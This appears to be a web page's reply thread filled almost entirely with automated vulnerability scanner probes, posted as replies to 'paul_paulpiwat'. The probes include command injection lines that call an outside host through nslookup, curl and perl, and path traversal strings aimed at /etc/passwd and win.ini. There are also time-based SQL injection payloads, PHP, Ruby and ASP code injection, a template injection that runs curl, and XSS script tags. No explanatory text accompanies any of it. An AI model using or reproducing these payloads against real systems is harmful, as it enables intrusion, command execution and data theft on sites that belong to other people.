&(nslookup hitxgtbkjdzmcb9b74.bxss.me||perl -e "gethostbyname('hitxgtbkjdzmcb9b74.bxss.me')")&'\"`0&(nslookup hitxgtbkjdzmcb9b74.bxss.me||perl -e "gethostbyname('hitxgtbkjdzmcb9b74.bxss.me')")&`'
re: paul_paulpiwat
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: paul_paulpiwat
|(nslookup hittmtqudyxryd929a.bxss.me||perl -e "gethostbyname('hittmtqudyxryd929a.bxss.me')")
re: paul_paulpiwat
file:///etc/passwd
re: paul_paulpiwat
`(nslookup hitgruhxqwmmp64f33.bxss.me||perl -e "gethostbyname('hitgruhxqwmmp64f33.bxss.me')")`
re: paul_paulpiwat
/\../\../\../\../\../\../\../etc/passwd
re: paul_paulpiwat
;(nslookup hitrhmysjbmnr32c76.bxss.me||perl -e "gethostbyname('hitrhmysjbmnr32c76.bxss.me')")|(nslookup hitrhmysjbmnr32c76.bxss.me||perl -e "gethostbyname('hitrhmysjbmnr32c76.bxss.me')")&(nslookup hitrhmysjbmnr32c76.bxss.me||perl -e "gethostbyname('hitrhmysjbmnr32c76.bxss.me')")
re: paul_paulpiwat
/WEB-INF/web.xml
re: paul_paulpiwat
C:\WINDOWS\system32\drivers\etc\hosts
re: paul_paulpiwat
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: paul_paulpiwat
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: paul_paulpiwat
../../../../../../../../../../windows/win.ini%00.jpg
re: paul_paulpiwat
Http://bxss.me/t/fit.txt
re: paul_paulpiwat
/../../../../../../../../../../boot.ini
re: paul_paulpiwat
http://bxss.me/t/fit.txt%3F.jpg
re: paul_paulpiwat
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: paul_paulpiwat
'.gethostbyname(lc('hitkg'.'aahypzud39ac6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(85).chr(97).chr(66).'
re: paul_paulpiwat
/etc/shells
re: paul_paulpiwat
..\..\..\..\..\..\..\..\windows\win.ini
re: paul_paulpiwat
".gethostbyname(lc("hitux"."nomrcvqqde339.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(88).chr(107).chr(88)."
re: paul_paulpiwat
c:/windows/win.ini
re: paul_paulpiwat
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: paul_paulpiwat
bxss.me
re: paul_paulpiwat
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: paul_paulpiwat
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: paul_paulpiwat
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: paul_paulpiwat
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: paul_paulpiwat
WEB-INF/web.xml
re: paul_paulpiwat
HttP://bxss.me/t/xss.html?%00
re: paul_paulpiwat
WEB-INF\web.xml
re: paul_paulpiwat
"+"A".concat(70-3).concat(22*4).concat(116).concat(69).concat(99).concat(74)+(require"socket"
Socket.gethostbyname("hitdx"+"cvxhbiwlc8100.bxss.me.")[3].to_s)+"
re: paul_paulpiwat
bxss.me/t/xss.html?%00
re: paul_paulpiwat
'+'A'.concat(70-3).concat(22*4).concat(111).concat(65).concat(106).concat(67)+(require'socket'
Socket.gethostbyname('hitde'+'zxhewihne1402.bxss.me.')[3].to_s)+'
re: paul_paulpiwat
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: paul_paulpiwat
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: paul_paulpiwat
';print(md5(31337));$a='
re: paul_paulpiwat
'"
re: paul_paulpiwat
";print(md5(31337));$a="
re: paul_paulpiwat
<!--
re: paul_paulpiwat
${@print(md5(31337))}
re: paul_paulpiwat
${@print(md5(31337))}\
re: paul_paulpiwat
'.print(md5(31337)).'
re: paul_paulpiwat
1
re: paul_paulpiwat
1
re: paul_paulpiwat
-1 OR 2+965-965-1=0+0+0+1 --
re: paul_paulpiwat
-1 OR 3+965-965-1=0+0+0+1 --
re: paul_paulpiwat
-1 OR 2+346-346-1=0+0+0+1
re: paul_paulpiwat
-1 OR 3+346-346-1=0+0+0+1
re: paul_paulpiwat
-1' OR 2+996-996-1=0+0+0+1 --
re: paul_paulpiwat
-1' OR 3+996-996-1=0+0+0+1 --
re: paul_paulpiwat
-1' OR 2+939-939-1=0+0+0+1 or 'BV7gNHyn'='
re: paul_paulpiwat
-1' OR 3+939-939-1=0+0+0+1 or 'BV7gNHyn'='
re: paul_paulpiwat
-1" OR 2+33-33-1=0+0+0+1 --
re: paul_paulpiwat
-1" OR 3+33-33-1=0+0+0+1 --
re: paul_paulpiwat
if(now()=sysdate(),sleep(15),0)
re: paul_paulpiwat
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: paul_paulpiwat
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: paul_paulpiwat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: paul_paulpiwat
-1; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1); waitfor delay '0:0:15' --
re: paul_paulpiwat
1 waitfor delay '0:0:15' --
re: paul_paulpiwat
YEDRdUvB'; waitfor delay '0:0:15' --
re: paul_paulpiwat
-5 OR 691=(SELECT 691 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-5) OR 78=(SELECT 78 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1)) OR 332=(SELECT 332 FROM PG_SLEEP(15))--
re: paul_paulpiwat
hmSvDXHj' OR 234=(SELECT 234 FROM PG_SLEEP(15))--
re: paul_paulpiwat
7r7K6vZb') OR 347=(SELECT 347 FROM PG_SLEEP(15))--
re: paul_paulpiwat
lSvr9kCt')) OR 402=(SELECT 402 FROM PG_SLEEP(15))--
re: paul_paulpiwat
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: paul_paulpiwat
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: paul_paulpiwat
'||(select 1 from (select pg_sleep(15))x)||'
re: paul_paulpiwat
''||(select 1 from (select pg_sleep(15))x)||''
re: paul_paulpiwat
1'"
re: paul_paulpiwat
@@wSqZx
re: paul_paulpiwat
1
re: paul_paulpiwat
1
re: paul_paulpiwat
1
re: paul_paulpiwat
1
re: paul_paulpiwat
1
re: paul_paulpiwat
1
re: paul_paulpiwat
1
re: paul_paulpiwat
1
re: paul_paulpiwat
1
re: paul_paulpiwat
1
re: paul_paulpiwat
1BHZGQFO650
re: paul_paulpiwat
response.write(9334123*9548590)
re: paul_paulpiwat
'+response.write(9334123*9548590)+'
re: paul_paulpiwat
"+response.write(9334123*9548590)+"
re: paul_paulpiwat
<esi:include src="http://bxss.me/rpb.png"/>
re: paul_paulpiwat
../../../../../../../../../../../../../../etc/passwd
re: paul_paulpiwat
${9999806+9999184}
re: paul_paulpiwat
../../../../../../../../../../../../../../windows/win.ini
re: paul_paulpiwat
file:///etc/passwd
re: paul_paulpiwat
../
re: paul_paulpiwat
)
re: paul_paulpiwat
!(()&&!|*|*|
re: paul_paulpiwat
^(#$!@#$)(()))******
re: paul_paulpiwat
redirtest.acx
re: paul_paulpiwat
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: paul_paulpiwat
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: paul_paulpiwat
echo mkzeec$()\ npnpli\nz^xyu||a #' &echo mkzeec$()\ npnpli\nz^xyu||a #|" &echo mkzeec$()\ npnpli\nz^xyu||a #
re: paul_paulpiwat
/etc/shells
re: paul_paulpiwat
&echo tmqhew$()\ ulbcma\nz^xyu||a #' &echo tmqhew$()\ ulbcma\nz^xyu||a #|" &echo tmqhew$()\ ulbcma\nz^xyu||a #
re: paul_paulpiwat
'.gethostbyname(lc('hitjz'.'gjhkdsbr87af3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(71).chr(105).chr(78).'
re: paul_paulpiwat
../../../../../../../../../../../../../../etc/shells
re: paul_paulpiwat
|echo strkip$()\ jxksbf\nz^xyu||a #' |echo strkip$()\ jxksbf\nz^xyu||a #|" |echo strkip$()\ jxksbf\nz^xyu||a #
re: paul_paulpiwat
ctime
sleep
p0
(I30
tp1
Rp2
.
re: paul_paulpiwat
".gethostbyname(lc("hitnx"."sfhzoklm891e4.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(87).chr(97).chr(77)."
re: paul_paulpiwat
c:/windows/win.ini
re: paul_paulpiwat
expr 9000224648 - 951283
re: paul_paulpiwat
gethostbyname(lc('hittc'.'okaorgqoa33b0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(77).chr(107).chr(83)
re: paul_paulpiwat
bxss.me
re: paul_paulpiwat
(nslookup -q=cname hitkczojnofuk81780.bxss.me||curl hitkczojnofuk81780.bxss.me))
re: paul_paulpiwat
Http://bxss.me/t/fit.txt
re: paul_paulpiwat
$(nslookup -q=cname hityfvfweehsg43127.bxss.me||curl hityfvfweehsg43127.bxss.me)
re: paul_paulpiwat
http://bxss.me/t/fit.txt?.jpg
re: paul_paulpiwat
&nslookup -q=cname hitssyphloodz68d2f.bxss.me&'\"`0&nslookup -q=cname hitssyphloodz68d2f.bxss.me&`'
re: paul_paulpiwat
&(nslookup -q=cname hithfsuaxqtpi6195b.bxss.me||curl hithfsuaxqtpi6195b.bxss.me)&'\"`0&(nslookup -q=cname hithfsuaxqtpi6195b.bxss.me||curl hithfsuaxqtpi6195b.bxss.me)&`'
re: paul_paulpiwat
|(nslookup -q=cname hithfqrwziels52277.bxss.me||curl hithfqrwziels52277.bxss.me)
re: paul_paulpiwat
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: paul_paulpiwat
`(nslookup -q=cname hitfdecpdfpdu5ed85.bxss.me||curl hitfdecpdfpdu5ed85.bxss.me)`
re: paul_paulpiwat
';print(md5(31337));$a='
re: paul_paulpiwat
;(nslookup -q=cname hitwyiuasqjdnba90d.bxss.me||curl hitwyiuasqjdnba90d.bxss.me)|(nslookup -q=cname hitwyiuasqjdnba90d.bxss.me||curl hitwyiuasqjdnba90d.bxss.me)&(nslookup -q=cname hitwyiuasqjdnba90d.bxss.me||curl hitwyiuasqjdnba90d.bxss.me)
re: paul_paulpiwat
";print(md5(31337));$a="
re: paul_paulpiwat
|(nslookup${IFS}-q${IFS}cname${IFS}hitrtzwtwsznu0c64e.bxss.me||curl${IFS}hitrtzwtwsznu0c64e.bxss.me)
re: paul_paulpiwat
${@print(md5(31337))}
re: paul_paulpiwat
HttP://bxss.me/t/xss.html?%00
re: paul_paulpiwat
&(nslookup${IFS}-q${IFS}cname${IFS}hitlvclqtvqprd4769.bxss.me||curl${IFS}hitlvclqtvqprd4769.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitlvclqtvqprd4769.bxss.me||curl${IFS}hitlvclqtvqprd4769.bxss.me)&`'
re: paul_paulpiwat
${@print(md5(31337))}\
re: paul_paulpiwat
bxss.me/t/xss.html?%00
re: paul_paulpiwat
'"()
re: paul_paulpiwat
'.print(md5(31337)).'
re: paul_paulpiwat
'&&sleep(27*1000)*ewyghr&&'
re: paul_paulpiwat
"&&sleep(27*1000)*dqpkki&&"
re: paul_paulpiwat
'||sleep(27*1000)*ewwxvg||'
re: paul_paulpiwat
"+"A".concat(70-3).concat(22*4).concat(98).concat(90).concat(111).concat(81)+(require"socket"
Socket.gethostbyname("hitff"+"rxpkjiah7322b.bxss.me.")[3].to_s)+"
re: paul_paulpiwat
"||sleep(27*1000)*isbtjk||"
re: paul_paulpiwat
'+'A'.concat(70-3).concat(22*4).concat(101).concat(72).concat(120).concat(80)+(require'socket'
Socket.gethostbyname('hitzr'+'sfdlhtvq52e30.bxss.me.')[3].to_s)+'
re: paul_paulpiwat
'A'.concat(70-3).concat(22*4).concat(119).concat(76).concat(120).concat(83)+(require'socket'
Socket.gethostbyname('hitzr'+'ommftgcs4ba9a.bxss.me.')[3].to_s)
re: paul_paulpiwat
'"
re: paul_paulpiwat
<!--
re: paul_paulpiwat
replies
re: paul_paulpiwat
replies
re: paul_paulpiwat
replies/.
re: paul_paulpiwat
'"()&%<zzz><ScRiPt >Q8f3(9332)</ScRiPt>
re: paul_paulpiwat
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hittqfkrdxoks846f8.bxss.me")}}
re: paul_paulpiwat
'"()&%<zzz><ScRiPt >Q8f3(9526)</ScRiPt>
re: paul_paulpiwat
9783866
re: paul_paulpiwat
jS3ISeX7
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
-1 OR 5*5=25 --
re: paul_paulpiwat
-1 OR 5*5=26 --
re: paul_paulpiwat
-1 OR 5*5=25
re: paul_paulpiwat
-1 OR 5*5=26
re: paul_paulpiwat
*if(now()=sysdate(),sleep(15),0)
re: paul_paulpiwat
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: paul_paulpiwat
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: paul_paulpiwat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: paul_paulpiwat
-1; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1); waitfor delay '0:0:15' --
re: paul_paulpiwat
-1 waitfor delay '0:0:15' --
re: paul_paulpiwat
7y46lsDC'; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1 OR 297=(SELECT 297 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1) OR 412=(SELECT 412 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1)) OR 960=(SELECT 960 FROM PG_SLEEP(15))--
re: paul_paulpiwat
rNR2MoID' OR 560=(SELECT 560 FROM PG_SLEEP(15))--
re: paul_paulpiwat
rY6ECRhF') OR 773=(SELECT 773 FROM PG_SLEEP(15))--
re: paul_paulpiwat
trNDPAtC')) OR 550=(SELECT 550 FROM PG_SLEEP(15))--
re: paul_paulpiwat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: paul_paulpiwat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: paul_paulpiwat
'||(select 1 from (select pg_sleep(15))x)||'
re: paul_paulpiwat
''||(select 1 from (select pg_sleep(15))x)||''
re: paul_paulpiwat
'"
re: paul_paulpiwat
@@GZgTI
re: paul_paulpiwat
(select 198766*667891)
re: paul_paulpiwat
(select 198766*667891 from DUAL)
re: paul_paulpiwat
I8JWqoIn
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
-1 OR 5*5=25 --
re: paul_paulpiwat
-1 OR 5*5=26 --
re: paul_paulpiwat
-1 OR 5*5=25
re: paul_paulpiwat
-1 OR 5*5=26
re: paul_paulpiwat
*if(now()=sysdate(),sleep(15),0)
re: paul_paulpiwat
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: paul_paulpiwat
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: paul_paulpiwat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: paul_paulpiwat
-1; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1); waitfor delay '0:0:15' --
re: paul_paulpiwat
-1 waitfor delay '0:0:15' --
re: paul_paulpiwat
VqIBGMIT'; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1 OR 582=(SELECT 582 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1) OR 399=(SELECT 399 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1)) OR 171=(SELECT 171 FROM PG_SLEEP(15))--
re: paul_paulpiwat
KQdvMYbu' OR 442=(SELECT 442 FROM PG_SLEEP(15))--
re: paul_paulpiwat
FGEAThif') OR 240=(SELECT 240 FROM PG_SLEEP(15))--
re: paul_paulpiwat
aC4icnQK')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
re: paul_paulpiwat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: paul_paulpiwat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: paul_paulpiwat
'||(select 1 from (select pg_sleep(15))x)||'
re: paul_paulpiwat
''||(select 1 from (select pg_sleep(15))x)||''
re: paul_paulpiwat
'"
re: paul_paulpiwat
@@7R3iJ
re: paul_paulpiwat
(select 198766*667891)
re: paul_paulpiwat
(select 198766*667891 from DUAL)
re: paul_paulpiwat
CluskS5Z
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
-1 OR 5*5=25 --
re: paul_paulpiwat
-1 OR 5*5=26 --
re: paul_paulpiwat
-1 OR 5*5=25
re: paul_paulpiwat
-1 OR 5*5=26
re: paul_paulpiwat
*if(now()=sysdate(),sleep(15),0)
re: paul_paulpiwat
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: paul_paulpiwat
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: paul_paulpiwat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: paul_paulpiwat
-1; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1); waitfor delay '0:0:15' --
re: paul_paulpiwat
-1 waitfor delay '0:0:15' --
re: paul_paulpiwat
0AkR4CxA'; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1 OR 826=(SELECT 826 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1) OR 415=(SELECT 415 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1)) OR 116=(SELECT 116 FROM PG_SLEEP(15))--
re: paul_paulpiwat
z70JMUDJ' OR 469=(SELECT 469 FROM PG_SLEEP(15))--
re: paul_paulpiwat
tbPGYlHN') OR 503=(SELECT 503 FROM PG_SLEEP(15))--
re: paul_paulpiwat
pICVSPuS')) OR 546=(SELECT 546 FROM PG_SLEEP(15))--
re: paul_paulpiwat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: paul_paulpiwat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: paul_paulpiwat
'||(select 1 from (select pg_sleep(15))x)||'
re: paul_paulpiwat
''||(select 1 from (select pg_sleep(15))x)||''
re: paul_paulpiwat
'"
re: paul_paulpiwat
@@GWIon
re: paul_paulpiwat
(select 198766*667891)
re: paul_paulpiwat
(select 198766*667891 from DUAL)
re: paul_paulpiwat
xlUp8kpt
re: paul_paulpiwat
1*
re: paul_paulpiwat
1*
re: paul_paulpiwat
1*
re: paul_paulpiwat
1*
re: paul_paulpiwat
-1 OR 2+434-434-1=0+0+0+1
re: paul_paulpiwat
